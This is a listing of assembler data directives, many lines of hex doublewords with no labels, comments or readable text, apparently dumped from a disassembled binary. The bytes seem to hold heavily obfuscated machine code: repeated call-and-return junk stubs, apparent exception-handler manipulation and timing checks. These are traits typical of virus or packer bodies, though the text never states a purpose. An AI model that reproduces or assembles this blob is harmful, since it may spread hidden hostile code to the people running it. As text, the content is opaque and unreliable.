		dd 6A060706h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 29A9C356h, 0C6A47BC1h,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 860D99C3h, 0C8B1BAC1h, 0B0B5EB81h, 85C75C3Fh, 6072691h
		dd 0
		dd 0B4E9F88Bh, 6AFFFFF2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 17FFC356h, 5E9h, 0CD696500h
		dd 0BD894520h, 60706A5h, 0BD8BC18Bh, 6071281h, 785858Dh
		dd 9D8B0607h, 6070BADh,	10E9h, 25330C00h, 299B5921h, 8769DFF3h
		dd 954214F1h, 7DB750D5h, 66240489h, 14E7CF81h, 0BD8B006Ah
		dd 60713FDh, 0BD01006Ah, 6071D9Dh, 7A58858Dh, 0BD23060Bh
		dd 6070BADh, 7E528CBFh,	5C0833Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0BEC35141h,	7D5E50Dh, 2BD9D01h
		dd 0F900607h, 1285h, 0DE900h, 81790000h, 33B47A03h, 60C3A14Dh
		dd 502EB7C2h, 0BBC2D0BFh, 6A9040h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0B9C35545h,	6EE6578Dh, 0BC00FA4Eh
		dd 3D2D91BBh, 6EBF664Ah, 8B006AC2h, 713CD9Dh, 0C195FF06h
		dd 6A060704h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 3003C352h, 0CD4951h, 81660789h
		dd 1F504E7h, 71E2985h, 4F8D8D06h, 6A060AA6h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 87C2C357h, 0FF93DC0h, 284h, 0E8D88B00h, 0Fh,	517DF90Dh
		dd 0EA9DB42Ch, 6F669453h, 8B3DB5DFh, 72DF1BDh, 0D1FF5F06h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h
		dd 3B5C380h, 71D799Dh, 0DB816606h, 0BD83C53Fh, 607218Dh
		dd 57850F01h, 0F000000h, 38Ch, 0FE8B6600h, 9D89026Ah, 6072835h
		dd 0EE95050h, 50000000h, 6FA035F2h, 9C3BC1E9h, 0A76E317Bh
		dd 4895B30h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 5097E0B5h, 1F099589h, 0FF5F0607h
		dd 71AF995h, 0D5E9FC06h, 0E800000Eh, 0
		dd 62ED815Dh, 0F8060B7Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 38C35040h, 948C84B7h,	5D3CA49h, 66FA8B66h
		dd 8DF1F3BFh, 0A910885h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 165CC1D0h, 69326226h
		dd 15B1B589h, 50F90607h, 6BB6657h, 4895F6Eh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FF6421F9h, 35h, 218D8900h, 64060720h, 2589h, 95310000h
		dd 6070DF1h, 32F185FFh,	0E3810607h, 40162048h, 6AFF6Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0B68491C3h, 0A40A1678h, 800FB005h, 2, 0B5FFDCB3h, 6073221h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h
		dd 29795056h, 37E7AC31h, 4D9D8BECh, 0FF060730h,	71AC995h
		dd 109E906h, 33560000h,	70A759Dh, 0B05F06h, 0ADDBD8Bh
		dd 70E60607h, 0FA56BF66h, 0EF8171E4h, 4B7857EBh, 830F613Ch
		dd 0E3h, 3039BD8Bh, 0B60F0607h,	13E9C8h, 61190000h, 8ED385EEh
		dd 0C8F72D1Ch, 99C50D9Eh, 55631758h, 6BA44h, 860F0000h
		dd 6, 14F19589h, 0C18B0607h, 1F099D8Bh,	0E8C10607h, 0E2F76604h
		dd 0E8FABF0Fh, 0Dh, 9A766FC7h, 0AC476DBDh, 0DBFF811Dh
		dd 0EE8AFh, 5A70000h, 0D144A311h, 2AD8BDA7h, 0F69A399Ah
		dd 8C0Fh, 5B5B0000h, 0BD8BC82Bh, 60702C9h, 9D29D18Bh, 6072C11h
		dd 2E9h, 8B2EB700h, 7302985h, 83DF8B06h, 0C08307C0h, 0D8BF0F00h
		dd 830FD03Bh, 11h, 20BD8589h, 38E90607h, 3000000h, 709519Dh
		dd 0AD8D8B06h, 0B7060712h, 1E18371h, 21840Fh, 870F0000h
		dd 6, 262D9D8Bh, 0A5830607h, 60712ADh, 9589F9FEh, 6073029h
		dd 0E95B50h, 8D000000h,	0AEA35B5h, 0DD858906h, 6A06070Bh
		dd 0ED9D8B00h, 0F060726h, 80h, 0B595FF00h, 50060716h, 68D0Fh
		dd 8D0F0000h, 0
		dd 0E58D295Fh, 0B9060715h, 84Ch, 1A4D9D89h, 0E1830607h
		dd 6AFCF9FCh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 10FC356h, 9D3398AFh, 6072C4Dh
		dd 5840Fh, 81660000h, 0B8F274C7h, 0
		dd 1F159D09h, 0D22B0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0CAC35747h, 8D893F80h, 60700A1h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 33D9BF0Fh, 72BCD9Dh, 880D06h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD01FFC3h, 6072CD1h, 9890Fh, 8D0F0000h
		dd 3, 8BD9B70Fh, 7067995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B3EC8497h
		dd 662373DBh, 8B032DBFh, 72CE58Dh, 8E906h, 0BEA80000h
		dd 96847119h, 8B508E8Ch, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	60C35141h, 0BD2952E4h, 60705D5h, 50006A5Bh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 9EF59E80h, 0FB8BF150h, 10E5BD83h, 0F000607h,	5484h
		dd 919D0100h, 0B8060731h, 0
		dd 8DD88B66h, 74E1C8Dh,	0CE906h, 0FA360000h, 4C49BE58h
		dd 45EE2180h, 0E1FFA94Ah, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 36C35141h, 2B2BBFB9h,	8B668457h, 419D8BF9h
		dd 8B06072Eh, 5BD83FEh,	6072Dh,	500840Fh, 12E90000h, 0C8000000h
		dd 0E21B5AE4h, 0E31A9DA4h, 0AD8F501Ch, 203243EAh, 5BD8330h
		dd 106072Dh, 4F7840Fh, 85890000h, 60721B1h, 2E259D8Bh
		dd 0BD830607h, 6072D05h, 0A8860F03h, 6A000004h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 5AAAC352h, 0A7A8D2A1h, 870F149Ah, 2,	0E960DF8Bh, 7
		dd 149BDEE9h, 664616BCh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 61C655C3h, 8166601Dh
		dd 8BA0F9DBh, 7106185h,	0BD8B6106h, 6071075h, 6A04E180h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D65CC352h, 89A2EFDCh, 0AE98051h,	14000000h
		dd 0D477406h, 7E02C474h, 0FC90A54h, 1A984h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0BBA8262Ch, 0EB2D285Ah, 6840Fh, 0BD8B0000h, 6070A89h
		dd 629858Bh, 0A8B30607h, 0AF25BF66h, 1E758533h,	6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6F0DF8C3h, 9065B37Ch, 0EE860h, 45720000h, 0FB0751C6h
		dd 0D09D8A60h, 34961CE9h, 310F5250h, 6158585Ah,	0E9525050h
		dd 14h,	55BE4C9Fh, 0C0392031h, 592E337Fh, 5C4A969Ah, 0BAF70FD1h
		dd 73BB310Fh, 5A05BE81h, 6A9058h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 1AB31DC3h, 0B4C3D519h
		dd 2FD59D89h, 6A0607h, 0BD8BDA8Bh, 607041Dh, 4E8h, 1F03FF00h
		dd 0E9525000h, 0Dh, 0AED767B3h,	8288ACC4h, 66169C68h, 0B7310F49h
		dd 50585A15h, 448BDF8Bh, 52500424h, 310FD88Bh, 8B585Ah
		dd 4244489h, 153BB66h, 95FFFC58h, 6071D01h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 8AC35040h, 0FD98B20h
		dd 682h, 81BD0100h, 8906072Bh, 0AA6AD85h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0A85A3BD7h, 0F8106B7Fh, 31799D03h, 17E90607h, 6A000002h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 7476C356h, 2138B877h, 0B8777476h,	830FDE8Bh
		dd 0
		dd 858BDA8Bh, 60AA6A5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 37C35545h, 0CDF5F7B0h, 0D10757F4h, 4B0DBF80h
		dd 0C7307Fh, 18h, 25F5BD89h, 0B58B0607h, 60AA6A9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 80C35040h, 12E9932Dh
		dd 43000000h, 0ABDA273Fh, 0CB4FEDCAh, 884C3E5h,	5E7F353Bh
		dd 21858B83h, 6A06070Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 63FCC357h, 0E30EEEA8h
		dd 153F970h, 725E9BDh, 6895B06h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 16h, 28C35646h, 858B7267h, 6070629h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C1C35747h
		dd 0B3F88B66h, 44689A0h, 981BD8Bh, 0BF500607h, 2D1E9692h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FC87C351h, 1CC02062h,	235CD8DFh
		dd 702859Dh, 0B1B50106h, 8006070Dh, 0B5FF9ADBh,	60AA6A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 33C35747h
		dd 3B745AAFh, 8D892301h, 6072BD9h, 0B5AF2D68h, 81F88BABh
		dd 54D22404h, 6A5469h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 4981FC3h, 9CE5BA9Dh, 858DE8FDh
		dd 60AA6ADh, 8F87BF66h,	8980B750h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 66F2F6C3h
		dd 0C9B2F781h, 1D0195FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A610FC3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0FFFC352h, 85C7EDB5h, 6072D05h, 3, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 27C35242h, 0B814371Fh, 0FE0CD82Fh
		dd 0BD83F88Bh, 60AA6ADh, 10840F00h, 0BB000000h,	74778406h
		dd 21E9h, 41958900h, 50060710h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FA71FC3h, 9E9D8BFh
		dd 61000000h, 630B7343h, 75DC04A9h, 2D05BD83h, 0F030607h
		dd 4F685h, 4FCF8000h, 0A6ADBD83h, 0F00060Ah, 4E684h, 0FD9D3100h
		dd 0FF06070Dh, 0AA6ADB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0B2F22A2h
		dd 70FC1BDh, 3D95FF06h,	6A060704h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 1F67C351h
		dd 8D01FD77h, 0B58D89h,	0B58B0607h, 60AA6A1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 75C35343h, 0C890Fh
		dd 6E80000h, 0F0000000h, 699AFA68h, 9D015F74h, 6072801h
		dd 106C7h, 8E90001h, 94000000h,	9D157556h, 960A7F81h, 0FE8h
		dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h,	65010DBBh
		dd 96505F56h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	29C35242h, 0A6ADB5FFh, 6A060Ah,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0FF4FF8C3h
		dd 71A5595h, 0E98D0906h, 89060709h, 732B185h, 0A1B58B06h
		dd 6A060AA6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 608BC350h, 8490737Ah, 3F18E287h
		dd 8BFA8B66h, 7138985h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0E9879B1h, 59F0A8E5h
		dd 868951C4h, 0C4h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 8DC35343h, 14618529h,	958B0607h, 6070679h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h
		dd 0AECAF2AFh, 6800F41h, 29000000h, 715319Dh, 83FB8B06h
		dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 3B1F7BC3h, 0C2EA8242h, 89601EE9h,	72DF19Dh
		dd 18D0F06h, 0F8000000h, 20508961h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 97C35040h, 0E02A5EB4h, 8DFEBF0Fh
		dd 0ABA1F85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 11304330h, 0CE46D920h, 8B665F51h
		dd 68C0FD9h, 81000000h,	0EB6E2ED7h, 0B886894Bh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0D72FC355h, 191D126h, 8B2E75D9h, 7E9h, 68866200h
		dd 11B8D620h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 1BBD50C3h, 3AD1C1DFh, 0B5FFD073h
		dd 60AA6ADh, 7F78166h, 0F995FFE7h, 0F06071Ah, 684h, 0C99D8B00h
		dd 96060715h, 0E950FA8Bh, 0Ch, 96ECB945h, 3BD8D4C4h, 550573E5h
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 8BE543D3h, 0DE7EAC52h, 51952982h, 0FF060715h
		dd 0AA6ADB5h, 6810F06h,	29000000h, 72BCD9Dh, 2995FF06h
		dd 0F060715h, 0BD83DAB7h, 60712A5h, 6F840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 7201C352h, 29E3D66Dh, 732DD85h, 13E806h
		dd 0FB9E0000h, 8276C749h, 2FA93C16h, 8F113983h,	4047D164h
		dd 5F5F572Bh, 2830F96h,	8A000000h, 12E950F8h, 7C000000h
		dd 0BB397D51h, 79121E85h, 4DDC3C7Bh, 869005C4h,	7E9962Eh
		dd 91000000h, 0A34F42Ch, 0B5FF1AEAh, 60AA6ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2BC35141h, 0EA5AADBFh
		dd 0E82736CAh, 12h, 132FB9C6h, 0D10D52D2h, 0C699FB4Eh
		dd 30B4E1BDh, 6E95BB8h,	5B000000h, 0AA0EA38h, 95FF5B8Eh
		dd 6070555h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	80C35141h, 52331430h, 0ADB5FF5Bh, 0F060AA6h, 95FFDAB7h
		dd 6071FF9h, 0D5CB8166h, 1DBD839Dh, 206071Fh, 70840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B15F29C3h, 7E8577Bh, 0A1000000h,	0E0B491BAh
		dd 85292E9Ch, 607049Dh,	858B5B5Bh, 60706DDh, 6850F60h
		dd 8B000000h, 70FB5BDh,	0BE806h, 0D5370000h, 0ACE29311h
		dd 0B5CD1C2Eh, 0BEBF6623h, 0C6615E9Ah, 8E80000h, 41000000h
		dd 0B8E717ACh, 8B016F08h, 85C75BFEh, 6072691h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 1AC35141h
		dd 69BD8959h, 0E906072Eh, 0FFFFF228h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0A0C35646h,	0C18BABF6h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h, 0A9D9480h
		dd 0BD8BFCF9h, 60716D1h, 785858Dh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 262263C3h
		dd 5090D376h, 12E952h, 0B1530000h, 0B8EB4987h, 7F77414Ch
		dd 2C482E60h, 8E8DA67Dh, 5F52310Fh, 0BB50585Ah,	5CF01200h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 895F7102h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 6A7FC3h, 8DDBB70Fh, 0B8B7785h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0A9B9A8C4h, 5012FF82h, 5C083E5h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 58235347h
		dd 1A959D8Bh, 8B500607h, 240489DEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 88C35040h, 2C072CCAh, 36BB006Ah
		dd 6A3B0FD6h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0F0E1A13Bh, 0D87ACF98h, 99B531F1h
		dd 0FF06071Bh, 704C195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 4F8D8D03h, 8B060AA6h
		dd 703399Dh, 6AD1FF06h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8B08C357h, 70A559Dh
		dd 8DBD8306h, 1060721h,	0AB850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 577F04C3h
		dd 5BDF8B57h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 6762EDC3h, 2F99F22Ch, 8BD505F3h
		dd 70A8DBDh, 68C0F06h, 81000000h, 0DC3482F3h, 5260907Fh
		dd 6059FB8Bh, 7B85953h,	61598AF2h, 0FC8A5061h, 359D8B90h
		dd 0FF060701h, 71AF995h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0FE96Bh, 0EC010000h, 80ED75BEh
		dd 0BF6ED938h, 439751B6h, 0E4BE909h, 0E80000h, 5D000000h
		dd 8B81ED81h, 860F060Bh, 6, 0B04AD381h,	858D21BBh, 60A9108h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4CC35545h
		dd 90EE2180h, 9023B350h, 20159D8Bh, 0FF640607h,	35h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 66F97FD9h, 8964FE8Bh, 25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0CE416558h
		dd 34DCBA60h, 9D896F0Ah, 6071355h, 2D9D8B61h, 8B060720h
		dd 712A19Dh, 0F185FF06h, 6A060732h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0FB4EC356h
		dd 0E1BDC699h, 5BB830B4h, 0DE19D8Bh, 9D8B0607h,	6072075h
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0EBC7E4C3h, 91B5FF4Eh, 6A06070Ch,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 81E1C355h, 517FD9DBh, 2E4DBD8Bh, 8B5B0607h, 71F75BDh
		dd 0C995FF06h, 0E906071Ah, 123h, 98B0Fh, 870F0000h, 3
		dd 0B0FBB70Fh, 6D9D8900h, 0E6060708h, 0BD8B5770h, 60701C5h
		dd 0E971E45Fh, 0Fh, 3E4C1F76h, 0E54B0E06h, 80CC5743h, 3C32B8A1h
		dd 0E4830F61h, 0E8000000h, 5, 9C7C2291h, 0A5B589EAh, 5F06072Ah
		dd 66C8B60Fh, 6BAFA8Bh,	8B000000h, 60C18BDAh, 13A9BD33h
		dd 8D8B0607h, 60728E5h,	4E8C161h, 66D8BF0Fh, 9D33E2F7h
		dd 6070C15h, 8D29C82Bh,	60707E9h, 14E9D18Bh, 8A000000h
		dd 0E4C9C722h, 311BDF55h, 3B613C0Eh, 6F87E77Ch,	0E99001B6h
		dd 6, 9E59509h,	858B0607h, 607197Dh, 2DBD3356h,	5F06071Dh
		dd 8B07C083h, 71FB19Dh,	0C08306h, 5FDE8A53h, 830FD03Bh
		dd 21h,	0FE9h, 68ABF000h, 0A40F882Fh, 0C86599A8h, 8EFE27Ch
		dd 2265BD89h, 34E90607h, 0B3000000h, 1D8D8B17h,	83060714h
		dd 840F01E1h, 23h, 599EDF81h, 0A58300D8h, 607141Dh, 0C78166FEh
		dd 95897EB9h, 607197Dh,	5CD8D29h, 0E90607h, 8D000000h
		dd 0AF4E2B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0F29A01Fh, 38Bh, 0F88B6600h, 2FED9D8Bh
		dd 6A0607h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	2CC35242h, 95FF4C43h, 60716B5h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 57C35242h, 0E4830A4h
		dd 0DF8166D5h, 29B9B218h, 6A000007h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 171BC355h
		dd 0BE10B64Ch, 45785B31h, 6AFCE183h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 13CBC350h
		dd 6E834CEh, 30000000h,	6A830A3Fh, 0FC5FFC0Ah, 12259D03h
		dd 0B80607h, 89000000h,	7326D9Dh, 53D22B06h, 5B35DB80h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 1449BD89h, 6A0607h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 4B5718C3h, 62CB46FCh, 17C9BB66h, 820Fh, 880D0000h, 8B000000h
		dd 7156DBDh, 79958B06h,	6A060706h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 857FC352h
		dd 10B2252Ah, 0FA8AF97Ah, 2CE58D8Bh, 50F50607h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 99D8B58h, 53060706h
		dd 6CD9D89h, 835F0607h,	710E5BDh, 840F0006h, 0AEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 99C35141h, 7F51EE75h
		dd 8951645Ah, 71F658Dh,	10E95B06h, 51000000h, 470ECA52h
		dd 7CAA1DB7h, 0CFB24AC4h, 0B863C294h, 0
		dd 25C78166h, 9F5DBB19h, 8D8D04F5h, 6074E1Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6BC35242h, 0E4FD8098h
		dd 8FD7C39h, 6AE1FFBAh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 9B86C353h, 0BD8B477Ch
		dd 60732ADh, 6890F56h, 0B000000h, 71E85BDh, 0BD835F06h
		dd 6072D05h, 0A7840F00h, 6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B78C357h
		dd 72CD9BDh, 5BD8306h, 106072Dh, 493840Fh, 0BD830000h
		dd 6072D05h, 50860F03h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7E5EC356h
		dd 86951D98h, 0B5BD8B99h, 6006072Eh, 0BE9h, 0E6D6D600h
		dd 0E0E596FFh, 4E186BE7h, 6AD98C66h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0EF2FC357h
		dd 816679FFh, 8BEFDBE3h, 4E180DFh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 4FC35141h, 0A796A1B6h, 9E9h
		dd 0F7E44300h, 0C58D67F9h, 0C90A6E19h, 169840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8F7EDC3h, 858B6254h,	6070629h, 7D35B7BBh, 75853313h
		dd 6A06071Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 192BC357h, 676C82A4h, 2EF93C46h
		dd 0DA8B6690h, 8D0F6050h, 2, 32BAC18Bh,	614B4248h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0FF2348ABh, 0A9859C0Dh, 6A006AC6h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6287C356h
		dd 234E89C9h, 0E875FA65h, 0Bh, 273D0EE0h, 6D7F9AE8h, 0E8559D01h
		dd 9, 78708398h, 0E7DE9D80h, 859D29C9h,	5F060730h, 68AA685Bh
		dd 5060C9CCh, 0F616052h, 5A5E5631h, 0A9BB6658h,	48161ABh
		dd 529B5524h, 195FF36h,	6A06071Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0CE32C356h
		dd 0AFD8D09h, 95290607h, 6070A55h, 0A6AD8589h, 6A060Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 244384C3h, 8684E1ADh, 243BEF81h, 9D8B62B2h, 60711C1h
		dd 1A8E9h, 0D38B6000h, 0C1DBD8Bh, 8B610607h, 0AA6A585h
		dd 7E906h, 47270000h, 0EB5FC3C6h, 0FE946h, 2CF90000h, 0CE4EBA9Ch
		dd 40360DC9h, 0D8494200h, 1800C716h, 89000000h,	71461BDh
		dd 0A9B58B06h, 6A060AA6h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 315CC351h, 0BBADC689h
		dd 8BDE8AE9h, 70C2185h,	8B068906h, 70109BDh, 29858B06h
		dd 0E8060706h, 0Eh, 5E9923A2h, 0D7B95EF5h, 0ED2FB300h
		dd 13E86762h, 89000000h, 0A754EB45h, 460E1B86h,	0CAFCAF65h
		dd 0F8F4C088h, 5B5F4B66h, 66044689h, 47F6D381h,	0CABB6696h
		dd 8B665066h, 6A96FBh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 74FD90C3h, 613F2D74h, 816067D4h
		dd 8AC98AF6h, 0FE96Dh, 1A8D0000h, 0FB025B33h, 1064F0DDh
		dd 189F2BCh, 9D896161h,	6072161h, 0A6A5B5FFh, 0BF66060Ah
		dd 8968EBD9h, 0F954D79h, 581h, 5450BB00h, 481726Fh, 0D18A7624h
		dd 51006A6Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 3F96C9D9h, 0A02F7090h, 8166C6D9h, 8D8964DFh
		dd 0AA6AD85h, 68B0F06h,	2B000000h, 72D4DBDh, 0F509006h
		dd 28Ch, 5F616000h, 0EE950h, 56AE0000h,	1900BD9Fh, 34F8C2D3h
		dd 99136C6Eh, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 195FFCDh,	5206071Dh, 2810Fh, 0D88B0000h
		dd 8960615Bh, 716C985h,	6D950906h, 61060716h, 2D0585C7h
		dd 30607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0DC8D5CC3h, 0CE8h, 580C3200h, 0C2BF5AD0h
		dd 0F6110EACh, 14E9AAh,	0E2ED0000h, 0B7B45EB6h,	0DC31B9E0h
